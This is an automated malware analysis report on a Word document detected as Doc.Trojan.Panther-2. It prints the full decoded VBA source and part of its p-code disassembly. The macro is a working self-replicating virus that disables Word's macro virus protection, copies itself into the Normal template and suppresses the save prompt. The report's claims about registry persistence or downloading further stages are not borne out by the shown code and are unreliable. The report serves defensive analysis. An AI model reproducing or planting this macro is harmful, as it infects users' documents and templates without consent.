Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8ac9486426f861e…

MALICIOUS

Office (OLE)

31.5 KB Created: 2001-06-08 12:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 62fe82d31e3a53a8ab40ac645841b9f9 SHA-1: c916d532fb1814305dfa503b2c8ad67f991fd1b0 SHA-256: f8ac9486426f861eedc4578157f261d1095773ac3b26af2e18ce8426895e3b4a
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros. The `Document_Open` subroutine is designed to modify the Normal template. The script attempts to replace specific strings within the macro code, which is a common technique for obfuscation or to alter the behavior of the macro. The ClamAV detection 'Doc.Trojan.Panther-2' strongly suggests malicious intent, likely related to establishing persistence or downloading further stages, aligning with T1547.001.

Heuristics 3

  • ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Panther-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4981 bytes
SHA-256: d161f7dc64ecb44696aa8e11eebcaae0ccea318712a784dcae06ab21c34db037
Detection
ClamAV: Doc.Trojan.Panther-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Close()

End Sub

Private Sub Document_New()

End Sub

Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = False
        With ActiveDocument.VBProject.VBComponents.Item(1).codemodule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"
            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).codemodule
                .deletelines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
        If InStr("NormalTemplate", "Document") > 0 Then
                 Save
        
        End If
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    
    pre = prepre + prepost
    post = postpre + postpost
    
    index = 1
    preLen = Len(pre)
    
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLen)
        index = index + 1
    Wend
End Sub

' Processing file: /opt/analyzer/scan_staging/469425742a814a40a05baf6ff7149de3.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3765 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' 	FuncDefn (Private Sub Document_Close())
' Line #4:
' Line #5:
' 	EndSub 
' Line #6:
' Line #7:
' 	FuncDefn (Private Sub Document_New())
' Line #8:
' Line #9:
' 	EndSub 
' Line #10:
' Line #11:
' 	FuncDefn (Private Sub Document_Open())
' Line #12:
' 	Dim 
' 	VarDefn code (As String)
' Line #13:
' 	Ld NormalTemplate 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	IfBlock 
' Line #14:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #15:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	With 
' Line #16:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemLdWith Lines 0x0002 
' 	St code 
' Line #17:
' 	Ld code 
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #18:
' 	Ld code 
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #19:
' 	Ld code 
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #20:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	With 
' Line #21:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemCallWith deletelines 0x0002 
' Line #22:
' 	Ld code 
' 	ArgsMemCallWith AddFromString 0x0001 
' Line #23:
' 	EndWith 
' Line #24:
' 	EndWith 
' Line #25:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #26:
' 	LitStr 0x000E "NormalTemplate"
' 	LitStr 0x0008 "Document"
' 	FnInStr 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #27:
' 	ArgsCall Save 0x0000 
' Line #28:
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	EndSub 
' Line #32:
' 	FuncDefn (Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, pos
... (truncated)

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